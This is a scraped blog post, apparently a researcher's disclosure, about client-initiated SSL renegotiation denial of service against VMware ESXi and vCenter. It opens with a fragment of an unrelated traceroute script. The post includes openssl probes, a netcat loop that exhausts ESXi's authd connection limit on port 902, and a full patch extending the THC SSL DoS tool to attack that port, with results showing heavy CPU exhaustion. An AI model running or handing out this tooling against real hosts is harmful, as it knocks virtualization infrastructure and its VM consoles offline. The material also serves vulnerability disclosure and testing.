    send_mail "Traceroute route changed" "Traffic to Destination $Destination is currently not being routed through the specified hop $Hop.\nThe routing path might have changed:\n$Date\n\n$Traceroute"
  else
    echo -e "Traffic to Destination $Destination is currently not being routed through the specified hop $Hop.\nThe routing path might have changed:\n$Date\n\n$Traceroute"
  fi
fi


THC SSL Renegotiation DoS Tool for ESXi authd (port 902)

$
0
0

I had written about the Client-initiated SSL renegotiation DoS tool by THC and how to exploit SMTP STARTTLS mail servers with some modifications some time ago. At the time I’ve also noticed that to my surprise, Client-initiated SSL renegotiation is enabled by default on various vSphere/ESXi components and can be exploited with the THC Tool.

# openssl s_client -connect myesxi.local:443 -state -quiet -no_ign_eof <<< 'R'
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:SSLv3 read server hello A
verify error:num=19:self signed certificate in certificate chain
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read finished A
RENEGOTIATING
SSL_connect:SSL renegotiate ciphers
SSL_connect:SSLv3 write client hello A
SSL_connect:SSLv3 read server hello A
verify error:num=19:self signed certificate in certificate chain
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read finished A
DONE

The CIM-SSL port 5989 for hardware status monitoring is is also renegotiating. This affects all currently known versions of ESXi, including the most latest 6.0 U2 and 5.5 U3releases. vCenter on at least ports 443, 7444, 9443 is also affected.

ESXi also runs an important service on port 902 where the client-initiated renegotiation can be exploited most efficiently, commonly called the authd service. For example, this port is used for VM console connections. These connections are also SSL/TLS encrypted, but with a slight unusual touch:
ESXi responds with an initial plaintext banner message after the TCP connection has been established (similar to FTP or SMTP) and only then  the SSL/TLS handshake can take place:

# telnet myesxi.local 902
Trying 10.1.5.55...
Connected to myesxi.local
Escape character is '^]'.
220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , VMXARGS supported, NFCSSL supported/t

Now this is a problem because a standard SSL/TLS client expects the first payload in the connection to be its own HELLO handshake message, and not some plaintext garbage sent by the server. Naturally, this leads to broken connections:

# openssl s_client -connect myesxi.local:902 -state
CONNECTED(00000003)
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:error in SSLv2/v3 read server hello A
3076646536:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:s23_clnt.c:794:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 7 bytes and written 361 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
---

The THC DoS tool won’t work with that either. Basically, we first need to read the banner message and throw it down the bit bucket, and then initiate the actual SSL handshake. Since I had written an SMTP STARTTLS modification for the THC SSL renegotiation DoS tool already, I wrote a small patch to cope with this as well.
I found that on port 902 ESXi was more susceptible to reach higher CPU utilization than on port 443 which doesn’t require modification.

I had informed the VMware Security Response Team about it and supplied the patched code, after some months of no activity from their side whatsoever, they reported they could confirm a partial DoS and were “working on it”. More time passed, and after a whole year and several requests for status updates I never heard back from them again.
I don’t know what keeps them from disabling Client-initiated SSL renegotiation since it has virtually no valid use cases and surely isn’t even relevant for vSphere, and is disabled by default on pretty much all SSL/TLS implementations.

Running the DoS Tool

So what happens when you actually run it against an ESXi host? In my test case I use a Proliant DL 360 gen8 ESXi host with 16 physical cores/32 threads with HT. The host has some VM but is mostly idling at 3-6% CPU usage.
Note: I ran this from a VM with just a single vCPU which was getting maxed, so you will get better results if you run it from a slightly faster system.

Against port 443 you will see that the rhttpproxy service CPU usage spikes, using up 12 threads at once! (100% in esxtop equals the capacity of one physical thread)
thc_443

Now I’m running it with my patched code against port 902, and you’ll notice multiple authd processes spawning, one for every TCP socket, each using up CPU resources as the SSL connection is being re-negotiated:
thc_902

Of course we can also combine both ways and run the two in parallel for more efficiency and causing more load on the host:
thc_combined

Remember, this was all done from a slow system with just a single vCPU that was getting maxed. With this however we can burn a large part of the physical CPU resources of a modern 16 cores/32 threads host.

It continues to be interesting when I noticed that the authd seems to have a hard limit of the maximum number of TCP connections (even completely idle) ones.
Once this limit is hit, new authd connections will fail. This means for example you can’t open new VM consoles anymore, and the authd daemons spews an internal library error to the TCP socket… yikes!

$ nc -v myesxihost.local 902
myesxihost.local [10.1.5.55] 902 (?) open
authd: error while loading shared libraries: libvmkctl.so: failed to map segment from shared object: Error 28

thc_console

Technically this also means you can never have more than ~30 active VM console connections per host. Maybe a parameter to add to the vSphere maximum config guidelines?

The limit seems to be around 30 in my case can be triggered with a script as simple as this, just opening idle TCP connections:

while [  $COUNTER -lt 30 ]; do
  nc -v myesxihost.local 902 &
  let COUNTER=COUNTER+1
done

The code

Here’s the patched code you need to apply to the original thc SSL DoS sources in order to use the port 902 authd banner option.
This code is strictly intended for educational purposes only.

Note: You should run the tool with a limited number of concurrent connections using the -l option. I found 25-30 to be the sweet spot where connections on port 902 didn’t break, but your mileage may vary.

--- thc-ssl-dos.c.orig	2014-12-05 15:18:23.000000000 +0100
+++ thc-ssl-dos.c	2014-12-05 15:13:29.000000000 +0100
@@ -26,6 +26,7 @@
 	uint32_t flags;
 	uint16_t n_peers;
 	uint16_t n_max_peers;
+	uint16_t do_readbanner;
 	uint32_t ip;
 	uint16_t port;
 	fd_set rfds;
@@ -120,6 +121,7 @@
 init_default(void)
 {
 	g_opt.n_max_peers = DEFAULT_PEERS;
+	g_opt.do_readbanner = 0;
 	g_opt.port = htons(443);
 	g_opt.ip = -1; //inet_addr("127.0.0.1");
 	FD_ZERO(&g_opt.rfds);
@@ -159,6 +161,7 @@
 "./" PROGRAM_NAME " [options] <ip> <port>\n"
 "  -h      help\n"
 "  -l <n>  Limit parallel connections [default: %d]\n"
+"  -r      read a banner message from the raw TCP socket before the initial TLS handshake (ESXi port 902 mode)\n"
 "", DEFAULT_PEERS);
 	exit(0);
 }
@@ -169,7 +172,7 @@
 	int c;
 	int i;
 	static int accept_flag = 0;
-	static int skipdelay_flag = 0;
+	static int skipdelay_flag = 1;

 	static struct option long_options[] =
 	{
@@ -180,7 +183,7 @@
 	int option_index = 0;


-	while ((c = getopt_long(argc, argv, "hl:", long_options, &option_index)) != -1)
+	while ((c = getopt_long(argc, argv, "hl:r", long_options, &option_index)) != -1)
 	{
 		switch (c)
 		{
@@ -189,6 +192,9 @@
 		case 'l':
 			g_opt.n_max_peers = atoi(optarg);
 			break;
+		case 'r':
+			g_opt.do_readbanner = 1;
+			break;
 		case 'h':
 		default:
 			usage();
@@ -487,6 +493,25 @@

 }

+static void
+readbanner(struct _peer *p)
+{
+	//Toggle the blocking/nonblocking flag of the socket to set it to blocking since we need to read/write the socket
+	int opts;
+	opts = fcntl(p->sox, F_GETFL);
+	opts ^= O_NONBLOCK;
+	fcntl(p->sox, F_SETFL, opts);
+
+	//Read a banner message sent by the remote host
+	char buffer[256];
+	bzero(buffer, 256);
+	recv(p->sox, buffer, 255, 0);
+  
+	//Toggle the blocking/nonblocking flag of the socket again to set it to nonblocking
+	opts ^= O_NONBLOCK;
+	fcntl(p->sox, F_SETFL,opts);
+}
+
 /*
  * Called if in state STATE_TCP_CONNECTING
  */
@@ -502,6 +527,12 @@
 	len = 4;
 	getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &errno, &len);

+	//Read the banner from the established socket
+	if(g_opt.do_readbanner == 1)
+	{
+		readbanner(p);
+	}
+
 	//DEBUGF("ret %d errno %d %s\n", ret, errno, strerror(errno));
 	ret = tcp_connect_try_finish(p, errno);

Viewing all 34 articles
Browse latest View live